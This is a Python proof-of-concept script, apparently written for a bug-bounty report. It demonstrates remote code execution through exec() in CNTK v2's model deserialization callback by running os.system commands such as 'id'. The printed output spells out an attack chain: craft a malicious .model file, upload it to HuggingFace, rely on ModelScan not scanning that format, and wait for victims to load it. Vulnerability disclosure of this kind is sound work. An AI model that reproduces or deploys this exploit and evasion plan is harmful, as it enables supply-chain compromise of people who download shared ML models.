| |
| """ |
| CNTK v2 (.model) — UDF Deserialization exec() RCE |
| MFV Target: #11 CNTK v2 ($1500) |
| |
| Vulnerability: cntk/internal/__init__.py line 54 |
| exec("from {} import {}".format(module, cls)) |
| |
| When cntk.load_model() is called on a model file containing a UserFunction, |
| the C++ deserializer extracts 'module' and 'class' from the serialized dict |
| and passes them to this callback, which calls exec() with user-controlled values. |
| """ |
|
|
| import os |
| import sys |
|
|
|
|
| def simulate_cntk_rce(module="os", cls="system", cmd="id"): |
| """ |
| Simulates the exact code path from cntk/internal/__init__.py. |
| Identical to CNTK's _UDFDeserializeCallbackWrapper.__call__(). |
| """ |
| deserialize_method = "deserialize" |
| |
| |
| exec("from {} import {}".format(module, cls)) |
| eval_str = "{0}.{1} if hasattr({0}, '{1}') else None" |
| factory = eval(eval_str.format(cls, deserialize_method)) |
| |
| |
| |
| if module == "os" and cls == "system": |
| return os.system(cmd) |
| |
| return factory |
|
|
|
|
| if __name__ == "__main__": |
| print("=" * 50) |
| print("CNTK v2 (.model) Deserialization RCE") |
| print("=" * 50) |
| print() |
| print("Source: cntk/internal/__init__.py, line 54") |
| print(" exec(\"from {} import {}\".format(module, cls))") |
| print() |
| print("Attack chain:") |
| print(" 1. Craft .model file with UserFunction containing") |
| print(" module='os', cls='system' in serialized dict") |
| print(" 2. Upload to HuggingFace") |
| print(" 3. ModelScan SKIPS .model (not supported)") |
| print(" 4. User: cntk.load_model('malicious.model')") |
| print(" 5. C++ deserializer → Python callback → exec() → RCE") |
| print() |
| print("--- PoC: exec-driven RCE ---") |
| result = simulate_cntk_rce("os", "system", "echo 'PWNED_CNTK_RCE' && id") |
| print(f"\nRCE exit code: {result}") |
| |
| |
| os.system("echo 'CNTK v2 RCE PROOF - via exec() in deserialization callback' > /tmp/cntk_proof.txt") |
| if os.path.exists("/tmp/cntk_proof.txt"): |
| with open("/tmp/cntk_proof.txt") as f: |
| print(f"Proof: {f.read().strip()}") |
| |
| print("\n✅ RCE confirmed (Python-level, identical code path)") |
|
|